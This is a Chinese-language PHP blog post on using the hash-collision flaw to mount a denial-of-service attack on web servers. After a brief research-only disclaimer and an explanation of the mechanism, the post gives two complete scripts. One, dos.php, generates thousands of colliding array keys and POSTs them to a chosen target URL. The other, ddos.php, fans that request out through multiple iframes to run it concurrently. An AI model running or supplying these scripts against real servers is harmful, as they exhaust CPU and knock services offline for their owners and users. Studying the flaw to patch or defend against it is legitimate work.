PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP编程中八种常见的文件操作方式
Nov 19 PHP
PHP 函数语法介绍一
Jun 14 PHP
php 格式化数字的时候注意数字的范围
Apr 13 PHP
为IP查询添加GOOGLE地图功能的代码
Aug 08 PHP
php小经验:解析preg_match与preg_match_all 函数
Jun 29 PHP
浅析php中json_encode()和json_decode()
May 25 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(十五)
Jun 30 PHP
Smarty简单生成表单元素的方法示例
May 23 PHP
php json中文编码为null的解决办法
Dec 14 PHP
php显示页码分页类的封装
Jun 08 PHP
php实现生成code128条形码的方法详解
Jul 19 PHP
laravel 使用auth编写登录的方法
Sep 30 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
不用iconv库的gb2312与utf-8的互换函数
2006/10/09 PHP
php结合表单实现一些简单功能的例子
2011/06/04 PHP
浅析PHP原理之变量(Variables inside PHP)
2013/08/09 PHP
thinkphp缓存技术详解
2014/12/09 PHP
基于jquery1.4.2的仿flash超炫焦点图播放效果
2010/04/20 Javascript
jQuery获取当前对象标签名称的方法
2014/02/07 Javascript
减少访问DOM的次数提升javascript性能
2014/02/24 Javascript
JavaScript中的闭包介绍
2015/03/15 Javascript
表单验证插件Validation应用的实例讲解
2015/10/10 Javascript
JavaScript实现同时调用多个函数的方法
2015/11/09 Javascript
JavaScript深度复制(deep clone)的实现方法
2016/02/19 Javascript
详解使用vue-router进行页面切换时滚动条位置与滚动监听事件
2017/03/08 Javascript
vue2.x 父组件监听子组件事件并传回信息的方法
2017/07/17 Javascript
浅谈React中的元素、组件、实例和节点
2018/02/27 Javascript
vue实现键盘输入支付密码功能
2018/08/18 Javascript
js中apply和call的理解与使用方法
2019/11/27 Javascript
vue中使用echarts的示例
2021/01/03 Vue.js
python显示天气预报
2014/03/02 Python
跟老齐学Python之一个免费的实验室
2014/09/14 Python
Python+selenium实现自动循环扔QQ邮箱漂流瓶
2018/05/29 Python
python接口自动化(十六)--参数关联接口后传(详解)
2019/04/16 Python
Python threading的使用方法解析
2019/08/28 Python
Python搭建代理IP池实现检测IP的方法
2019/10/27 Python
Python 面向对象静态方法、类方法、属性方法知识点小结
2020/03/09 Python
Python 在函数上添加包装器
2020/07/28 Python
英国时尚运动品牌的合集:The Sports Edit
2017/12/20 全球购物
日本最大的购物网站:日本乐天市场(Rakuten Ichiba)
2020/11/04 全球购物
自荐信范文
2013/12/10 职场文书
法学专业本科生自荐信范文
2013/12/17 职场文书
文化宣传方案
2014/03/13 职场文书
英语课前三分钟演讲稿(6篇)
2014/09/13 职场文书
护士辞职信怎么写
2015/02/27 职场文书
中学生自我评价范文
2015/03/03 职场文书
社区挂职锻炼个人工作总结
2015/10/23 职场文书
Pytorch 如何加速Dataloader提升数据读取速度
2021/05/28 Python
vue自定义右键菜单之全局实现
2022/04/09 Vue.js